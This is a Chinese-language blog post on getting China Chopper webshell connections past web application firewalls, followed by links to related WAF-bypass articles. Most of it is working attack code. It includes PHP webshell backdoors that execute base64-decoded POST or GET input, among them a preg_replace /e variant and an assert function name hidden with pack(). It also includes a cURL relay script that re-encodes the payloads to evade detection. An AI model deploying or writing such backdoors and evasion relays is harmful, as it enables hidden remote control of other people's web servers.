关于PHP

一、waf为啥会拦截菜刀。
菜刀在连接时,会向server端POST数据,抓包查看:

会看到他向server端post了 @eval(base64_decode($_POST[z0])); 一般的waf都会拦截eval的。

二、要想菜刀仍然正常工作,就必须让菜刀中的内置的@eval(base64_decode($_POST[z0]));代码不被waf拦截,但又可以传递到server端。
方案一:修改菜刀
(1)修改菜刀,将菜刀客户端的eval(base64_decode($_POST[z0]))去掉,写进服务端去。
于是server端代码为:

<?php
if($_POST['c']!='')
{
@eval(base64_decode($_POST[z0]));
}
?>

客户端用修改后的菜刀连接。
说明:这种方法是将菜刀内置的eval(base64_decode($_POST[z0]))直接写到server端。

(2)修改菜刀,将菜刀客户端的eval(base64_decode($_POST[z0]))去掉,用get方式将eval(base64_decode($_POST[z0]))的base64加密形式发到服务端。
server端代码:

<?php preg_replace("/^/e",base64_decode($_REQUEST[g]),0);?>

客户端用修改后的菜刀连接:
http://www.s2ck.cc/test.php?g=ZXZhbChiYXNlNjRfZGVjb2RlKCRfUkVRVUVTVFt6MF0pKQ==

说明:这种方法是将菜刀内置的 eval(base64_decode($_POST[z0]))通过base64加密,然后通过get方式传到server端。

方案二:中转
client->自己服务器/应用(加密)->防火墙->真实地址(解密)
(3)通过中转,将菜刀post的eval(base64_decode($_POST[z0]))进行加密。服务端进行解密。
server端代码:

<?php
$func=pack("c6",97,115,115,101,114,116);
$_POST['c']=base64_decode( $_POST['c']) ;
$func($_POST['c']);
?>

中转端代码:

<?php
$handle=curl_init();
$DATA=array();
$DATA=$_POST;
$DATA['c']=base64_encode(substr($DATA['c'],1));
curl_setopt($handle,CURLOPT_URL,'http://www.s2ck.cc/1.php');
curl_setopt($handle,CURLOPT_HEADER,0);
curl_setopt($handle,CURLOPT_RETURNTRANSFER, 1);
curl_setopt($handle,CURLOPT_POST,1);
curl_setopt($handle,CURLOPT_POSTFIELDS,$DATA);
$output=curl_exec($handle);
if($output === FALSE) {
echo "cURL Error: " . curl_error($handle);
}
echo ($output);
curl_close($handle);
?>

客户端:
用原版菜刀连接。

说明:这种方法是将菜刀内置的 eval(base64_decode($_POST[z0]))通过中转端进行加密,然后server端进行解密。从而绕过waf

菜刀php过waf的更多相关文章

  1. 渗透测试学习 二十八、WAF绕过详解

    大纲: WAF防护原理讲解 目录扫描绕过WAF 手工注入绕过WAF sqlmap绕过WAF 编写salmap绕过WAF 过WAF一句话编写讲解 菜刀连接绕过WAF webshell上传绕过WAF 提权 ...

  2. 渗透-简单制作过waf的中国菜刀

    0x01 简单分析 web渗透中很常见的情况,用菜刀连接免杀的一句话木马连不上,有waf 除了变形一句话木马为免杀一句话,我们还需要来制作过waf的菜刀进行连接. 这里用的一句话为 来看看菜刀连接一句 ...

  3. 绕过D盾安全狗连接菜刀

    0x00 各种奇葩符号 现在基本上没啥用了,毕竟几年前的小玩意儿 /;.xxx.asp;.jpg /;.asp/.jpg 像这种各位看官可以忽略了,毕竟某狗和某盾也不是吃干饭的,写出来只是为了纪念一下 ...

  4. 小白日记51:kali渗透测试之Web渗透-WebShell(中国菜刀、WeBaCoo、Weevely)

    webshell 本质:<?php echo shell_exec($_GET['cmd']);?> windows平台 中国菜刀官网:胖客户端程序,国产中比较优秀的webshell,适用 ...

  5. Webshell免杀绕过waf

    转自圈子404师傅 0x01 前言# 尽最大努力在一文中让大家掌握一些有用的WEBSHELL免杀技巧 0x02 目录# 关于eval 于 assert 字符串变形 定义函数绕过 回调函数 回调函数变形 ...

  6. 绕过WAF、安全狗知识整理

    0x01 前言 目前市场上的WAF主要有以下几类 1. 以安全狗为代表的基于软件WAF 2. 百度加速乐.安全宝等部署在云端的WAF 3. 硬件WAF WAF的检测主要有三个阶段,我画了一张图进行说明 ...

  7. webshell 常见 Bypass waf 技巧总结

    在渗透学习的过程中,总会遇到各种情况,例如 php 大马被 waf 拦截的时候,那么如何制作免杀 php webshell 呢,接下来就由我带各位小伙伴们一起踏上大马免杀之路,不喜勿喷. 一篇好的文章 ...

  8. 数据库语法整理及WAF绕过方式

    关系型数据库 关系型数据库:指采用了关系模型来组织数据的数据库. 直白的说就是:关系型数据库最典型的数据结构是表,由二维表及其之间的联系所组成的一个数据组织 当今主流的关系型数据库有:Oracle,M ...

  9. 对抗假人 —— 前后端结合的 WAF

    前言 之前介绍了一些前后端结合的中间人攻击方案.由于 Web 程序的特殊性,前端脚本的参与能大幅弥补后端的不足,从而达到传统难以实现的效果. 攻防本为一体,既然能用于攻击,类似的思路同样也可用于防御. ...

随机推荐

  1. jQuery事件处理(五)

    对原生js不熟悉看jQuery会困难很多.后续需要更多的关注下原生js jQuery封装之后的事件触发,其中一个分支(处理普通事件)是通过:elem.addEventListener( type, e ...

  2. Android adb录制视频和截屏的dos脚本

    以下是本人写的脚本,用于录制android手机视频.截屏 dos脚本文件名:screenrecord.bat @ECHO OFF CLS color 0a set SCREEN_RECORD_SAVE ...

  3. how-to-build-c-static-libraries-boost

    http://tungchingkai.blogspot.jp/2016/11/how-to-build-c-static-libraries-boost.html How to build C++ ...

  4. LeetCode 23 Merge k Sorted Lists(合并k个有序链表)

    题目链接: https://leetcode.com/problems/merge-k-sorted-lists/?tab=Description Problem: 给出k个有序的list, 将其进行 ...

  5. POJ 3579 Median(二分答案)

    Median Time Limit: 1000MS Memory Limit: 65536K Total Submissions: 11599 Accepted: 4112 Description G ...

  6. vue钩子生命周期

    1.beforeCreate        // 组件实例刚刚被创建2.created                 // 实例已经创建完成3.beforeMount        // 模板编译之 ...

  7. Unity3D NGUI 二 NGUI Button怎样接受用户点击并调用函数,具体方法名称是什么

    a.直接监听事件 把下面脚本直接绑定在按钮上,当按钮点击时就可以监听到,这种方法不太好很不灵活. void OnClick(){ Debug.Log("Button is Click!!!& ...

  8. thinkCMF----导航高亮显示

    导航高亮显示,有多种方法,这里给出一个简单的表示下: <a href="__ROOT__"> <span class="text db"> ...

  9. ch 与等宽字体

    难题 有的时候,特别想通过字符来判断元素的长度,比如: 多行文本溢出时,文字变省略号 文字一个个的显示 效果分别如下: 第一种情况下,如果可以通过字符的数量判断长度是否溢出,从而把最后几个字符替换成省 ...

  10. .net framework 类库中必须掌握的命名空间(或者类)

    Web开发常用命名空间和类. System.Collections //命名空间包含接口和类,这些接口和类定义各种对象(如列表.队列.位数组.哈希表和字典)的集合.System.Collections ...